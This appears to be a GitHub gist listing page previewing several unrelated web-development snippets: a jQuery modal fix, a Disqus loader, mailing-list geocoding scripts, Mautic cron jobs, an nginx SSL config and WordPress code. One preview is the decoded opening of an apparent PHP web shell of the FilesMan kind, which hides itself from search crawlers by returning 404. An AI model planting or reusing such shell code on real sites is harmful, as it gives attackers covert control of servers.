This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
jQuery(document).ready(function(){ | |
jQuery("div.modal").each(function(){ | |
jQuery('body').append($(this)); | |
}); | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Decoded by unphp.net */ | |
<?php $color = "#df5"; | |
$default_action = 'FilesMan'; | |
$default_use_ajax = true; | |
$default_charset = 'Windows-1251'; | |
if (!empty($_SERVER['HTTP_USER_AGENT'])) { | |
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); | |
if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { | |
header('HTTP/1.0 404 Not Found'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div class="comments-block"> | |
<button id="show-comments" onclick="disqus();return false;">Load Comments</button> | |
</div> | |
<div id="disqus_thread"></div> | |
<script> | |
var disqus_loaded = false; | |
var disqus_shortname = 'xxxx'; //Add your shortname here |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//The file to be processed | |
$file = 'mailing_list.csv'; | |
//The header of the fields that contains the country/zip | |
$zipHeader = 'postal code'; | |
$countryHeader = 'country'; | |
//The file to save the results to | |
$resultsFile = fopen('mailing_list_location.csv', 'w'); | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Turn off all error reporting | |
// We don't want notices screwing up and responses | |
error_reporting(0); | |
$file = 'mailing_list.csv'; | |
$resultfile = 'mailing_list_nominatim_location.csv'; | |
$start = 1; | |
$chunk = 20; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" | |
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> | |
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> | |
<head> | |
<link rel="stylesheet" type="text/css" href="css/app.css"> | |
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"> | |
<meta name="viewport" content="width=device-width"> | |
<title>subject</title> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Serverpilot cron jobs for Mautic | |
#Comment/uncomment as needed | |
#Change /marketing/ to the name of your app | |
#[email protected] | |
0,15,30,45 * * * * php7.0-sp /srv/users/serverpilot/apps/marketing/public/app/console mautic:segments:update --env=prod --no-debug | |
5,20,35,50 * * * * php7.0-sp /srv/users/serverpilot/apps/marketing/public/app/console mautic:campaigns:update --env=prod --no-debug | |
10,25,40,55 * * * * php7.0-sp /srv/users/serverpilot/apps/marketing/public/app/console mautic:campaigns:trigger --env=prod --no-debug | |
02,17,32,47 * * * * php7.0-sp /srv/users/serverpilot/apps/marketing/public/app/console mautic:emails:send --env=prod --no-debug |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
server { | |
listen 443 ssl http2; | |
listen [::]:443 ssl http2; | |
server_name domainname.com www.domainname.com; | |
# letsencrypt certificates | |
ssl_certificate /etc/letsencrypt/live/domainname.com/fullchain.pem; | |
ssl_certificate_key /etc/letsencrypt/live/domainname.com/privkey.pem; | |
#SSL Optimization |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Plugin Name: Mautic WPML Preferred Language | |
Plugin URI: https://www.robertwent.com/ | |
Description: Sends WPML language preference to Mautic | |
Version: 1.0 | |
Author: Robert Went | |
*/ | |
function mautic_wpml_lang_init() { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//define('WP_DEBUG', false); | |
define('WP_DEBUG', true); | |
define('WP_DEBUG_LOG', false); | |
define('WP_DEBUG_DISPLAY', true); | |
@ini_set('display_errors', 1); |